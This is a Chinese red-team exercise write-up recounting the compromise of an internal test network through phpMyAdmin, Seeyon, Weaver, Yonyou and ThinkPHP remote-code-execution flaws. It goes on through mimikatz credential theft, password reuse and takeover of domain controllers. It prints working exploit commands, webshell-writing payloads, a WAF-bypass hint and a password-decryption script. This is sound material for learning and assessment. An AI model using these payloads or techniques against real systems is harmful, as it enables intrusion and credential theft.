大家好,我是老李。今天给大家分享一下某单位内部的一次简单的攻防考核的复盘过程,希望能够给从事相关工作的小伙伴们一些启发。
目录
0x00 前言0x01 信息搜集0x02 10.255.200.23 phpmyadmin远程代码执行0x03 10.255.220.220 致远OA session泄露任意文件上传0x04 10.10.220.101 SqlServer命令执行0x05 10.255.200.44 泛微OA远程代码执行0x06 80.1.1.36 用友OA远程命令执行0x07 80.1.1.12 ThinkPHP5.x远程代码执行0x08 80.1.1.15、80.1.1.88、 10.255.200.20和80.1.1.37 密码复用0x09 50.1.1.180(DC1)0x10 50.1.1.181(DC2)0x11 40.1.1.990x12 40.1.1.128 密码复用0x13 60.1.1.35、60.1.1.112、60.1.1.120和60.1.1.121 密码复用0x14 总结
前段时间进行了一次攻防考核,时间为一周,边干活边考核,所以基本都在晚上活动。之前一直没有复盘这个过程,今天趁此机会整理一下。
0x00 前言
靶标是商业计划书,但是因为是考核,所以目标主要还是以拿权限为主。正如所见,我的文笔就如技术一样拉胯,所以如果有不足的地方请各位大佬多多包涵,也希望各位大佬多多指正。言归正传,给的入口是4个网段,分别是10.255.200.、10.255.210.、10.255.220.和10.255.230.
0x01 信息搜集
使用fsan工具快速扫描,发现 10.255.200.1/24段存在大量主机,其他三个网段没扫出来,再使用nmap扫描发现10.255.220.1/24网段存在一台主机,如下图:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/4d09e3ffd8fee5c.jpg)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/1400ddaaaf35c37.jpg)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/fb5244bdbf1903.jpg)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/6a68499c4c697ab.jpg)
接下来开始漏洞搜集和利用
0x02 10.255.200.23 phpmyadmin远程代码执行
访问首页发现是有PHPmyadmin(忘截图了),尝试用弱口令root/root成功登录
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/c27513f0e308049.jpg)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/edca1e44148af09.jpg)
从后台可以看出版本为4.4.15.6,这个版本存在远程代码执行漏洞CVE-2016-5734,既然已经知道账号和密码,就可以执行利用这个漏洞执行命令了
EXP地址:https://www.exploit-db.com/exploits/40185
执行命令:
python exp.py -u root --pwd="root" http://10.255.200.23:8080 -c "system('whoami');"
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/0612973da1353.jpg)
写入webshell:
python exp.py -u root --pwd="root" http://10.255.200.23:8080 -c "file\_put\_contents('shell.php',base64\_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbbWRybWRyXSk7Pz4='));"
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/d372d830a07d42b.jpg)
连接webshell:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/df220a93f17f3d.jpg)
0x03 10.255.220.220 致远OA session泄露任意文件上传
刚开始我以为漏洞利用点是命令执行,后面才发现是利用session泄露任意文件上传漏洞
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/2a4cbf68d83f20d.jpg)
session泄露
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/843d74785db6.jpg)
漏洞利用参考:https://blog.csdn.net/maverickpig/article/details/118916085
参考链接中的脚本我使用时有点问题,第一次请求获取cookie后第二次文件上传没有带上cookie,所以脚本中的cookie是我手动获取cookie后加上去的,可能是我环境的原因,无伤大雅。可以将get_cookie函数中的cookies设置为第一次获取的cookie值,比如这样:
cookies = {"JSESSIONID":"6C86F4036B5933A4DC56AF3754B41703"}
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/584171836d43c7a.jpg)
冰蝎连接webshell,然后上线CS
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/2af8fae9a52272c.jpg)
使用svc-exe提权:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/9d7ca8a111598fc.jpg)
运行mimimkatz抓取10.10.220.100上的密码:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/09592e01fd91fff.jpg)
解密得到密码 seeadmin123...
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/384c22d6371d2.jpg)
利用CS搭建代理:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/3a3ac84c53724.jpg)
连上代理后远程桌面:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/8522009c1db420a.jpg)
0x04 10.10.220.101 SqlServer命令执行
远程登录10.10.220.100后执行命令查看网络连接信息,发现与主机10.10.220.101的1433端口存在连接,猜测为站库分离,如下:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/ff565ca0458d262.jpg)
然后在10.10.220.101上查找数据库配置文件,最终在目录C:\Seeyon\A8\S1\client下发现配置文件,如下:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/3eee7333adf263f.jpg)
发现数据库密码密文:YjliOTIzNC8vLw==
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/4f3130794b152.jpg)
然后使用Python脚本解密,得到密码a8a8123...,脚本如下:
import base64a="YjliOTIzNC8vLw=="password=""b = base64.b64decode(a).decode("utf-8")print(b)for i in b: password+=chr(ord(i)-1)print(password)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/4d29b2786b4b400.jpg)
使用数据库连接工具成功连接:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/c9e4e5ea6cb3528.jpg)
利用xp_cmdshell执行命令,下载CS马:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/491a045a05809b9.jpg)
之后运行木马成功上线
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/2bdeee24dfd35dc.jpg)
同样运行mimikatz抓取本地明文密码,得到密码adin1AZ123...
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/29e85911ed9cca7.jpg)
0x05 10.255.200.44 泛微OA远程代码执行
漏洞地址:http://10.255.200.44/weaver/bsh.servlet.BshServlet
执行命令有waf拦截:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/28289faaf907b1b.jpg)
Unicode编码即可绕过:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/4e84d2e280da8c5.jpg)
执行命令将webshell代码进行base64编码后写入C:\\Ecology\\ecology\\wui\\1.txt(该目录可解析)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/1dc38ddeb054818.jpg)
然后 将1.txt中的代码进行base64解码后写入mdrmdr2.jsp
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/a21c68829997447.jpg)
访问webshell,成功执行命令:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/822db620d084940.jpg)
利用webshell上传CS马然后运行上线CS,同时发现其IP为80.1.1.44:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/0c7e1e2ca6fc190.jpg)
抓取本地密码,获取到hash值:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/46c052959761b.jpg)
在线解密得到密码admin@123456
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/b8010af57cccee1.jpg)
使用CS搭建代理,挂上代理后对C段80.1.1.1/24进行扫描,部分内容如下:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/07837421252d9ef.jpg)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/ce1cdcaa56340e7.jpg)
看到这个结果后我头皮发麻,让有选择困难症的我一时无从下手
0x06 80.1.1.36 用友OA远程命令执行
漏洞地址:http://80.1.1.36:801/servlet/~ic/bsh.servlet.BshServlet
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/95b4db0dddd4be.jpg)
利用方式和10.255.200.44一样,写入webshell(过程略):
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/c6760d4be405ae1.jpg)
同样的方法上传CS马执行上线,发现为一台DC:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/f6fbe7358609d3b.jpg)
抓取主机上的密码:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/25492cdd3fedf14.jpg)
解密得到 密码admin@12345+
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/04d0b5c98c74.jpg)
0x07 80.1.1.12 ThinkPHP5.x远程代码执行
熟系的首页,以及醒目的ThinkPHP
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/658ece327a4236d.jpg)
发现其果然存在远程命令执行漏洞,利用远程命令执行漏洞写入webshell:
http://80.1.1.12/?s=index/\\think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=echo%20^%3C?php%20@eval($\_REQUEST\[%22cmd%22\])?^%3E%3Eshell.php
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/f2b087c8ee48ad9.jpg)
之后上线CS:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/43f66dcb1ccdd38.jpg)
0x08 80.1.1.15、80.1.1.88、 10.255.200.20和80.1.1.37 密码复用
利用搜集到的密码制作字典,然后使用fscan工具对80.1.1.1/24进行爆破,得到80.1.1.15、80.1.1.88、10.255.200.20和80.1.1.37四台主机的权限
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/7b6e412f44d6dfd.jpg)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/3f5c786d9e8d4e7.jpg)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/766e17b99792eb6.jpg)
之后将10.255.200.20上线CS,有了账号和密码可以直接使用psexec执行命令上线,我这里先将CS马拷贝过去,然后再执行上线:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/e2c527bc06713.jpg)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/98381f8ded244b7.jpg)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/bd8d229f3202c79.jpg)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/e6370710696736f.jpg)
上线后发现其IP为40.1.1.30:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/c70077d7e81b532.jpg)
0x09 50.1.1.180(DC1)
上线主机40.1.1.30后进行简单主机信息搜集,发现其在xihongdream.com内,ping域名xihongdream.com,得到IP为50.1.1.180,初步判断主机50.1.1.180可能为域控
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/1ffd8e3647d67bf.jpg)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/8d599805cf156fc.jpg)
执行netstat -ano命令查看网络连接情况,发现主机与50.1.1.180的389端口存在连接,因为该端口为域控常用端口,故确定主机50.1.1.180为域控(这里也可以通过端口扫描进行确认)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/5294d4617ecd30a.jpg)
抓取本地密码hash,发现域用户oaexchange
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/18f0c9cb321486d.jpg)
破解其NTLM值4fec0483465a124269c47fafd757f18f得到密码admin@1234
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/ce78db3d0cd0bfd.jpg)
然后这里使用老方法先与域控50.1.1.180建立IPC$连接:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/6b426b1fca4392e.jpg)
将本地的木马复制到域控上:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/a077bf88363829f.jpg)
之后添加计划任务运行木马:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/0d50f17c9b516f5.jpg)
成功上线:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/0e38872907dd4f.jpg)
0x10 50.1.1.181(DC2)
在50.1.1.180上查看域内主机,发现还有一台域控DC2
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/13a326bd872a.jpg)
然后同样用上线DC1的方法上线DC2
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/17783ca55b3e2c6.jpg)
拿到DC1和DC2权限后,获取域内其他主机权限就轻而易举了,这里不作阐述
0x11 40.1.1.99
在DC1上搜集域信息,查看域信任时发现还有个子域pcin.xihongdream.com,其对应的域控IP为40.1.1.99
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/48bfda5595b8af4.jpg)
利用域信任,使用凭据传递获取权限
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/030ae872fcf74b9.jpg)
因为40.1.1.99不出网,需要利用40.1.1.30搭建会话中转
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/2cfc05bfaa15138.jpg)
然后计划任务上线:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/9da6ac673a4493a.jpg)
0x12 40.1.1.128 密码复用
使用搜集到的密码对40.1.1.1/24进行smb登录爆破,得到40.1.1.128的密码seeadmin123...
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/ddc9469289cbc4f.jpg)
之后通过凭据传递上线CS:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/3d0e4394177f2.jpg)
打到这里的时候,我以为所有网段都已经出现了,然后就没有继续深挖。之后快结束的时候我在DC1上随手ping了一下60.1.1.1,发现居然通了,心态直接炸了,没想到还有隐藏的网段,而现在离结束只有1个小时不到
0x13 60.1.1.35、60.1.1.112、60.1.1.120和60.1.1.121 密码复用
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/a9eeaef0538b1cc.jpg)
没办法,打点的话已经来不及了,最快速的方法就是密码复用,接着使用之前的密码字典爆破了C段60.1.1.1/24,成功拿到了4台主机权限:
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/4b891cc3f6db983.jpg)
结果没想到又又又出现了新网段10.2.120.9(60.1.1.35)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/e71769a37d266d9.jpg)
![一次简单的攻防考核复盘](http://www.axjcy.com/uploadfile/202308/a1801654e23ea78.jpg)
0x14 总结
问题较多,不做一一总结,简言之,思路和姿势上都存在不足,打法上也没有按照流程走,基本上都是扫到哪打到哪。这环境也实在是太大了,头皮发麻,其中有许多主机权限都来不及拿
来源:奇安信攻防社区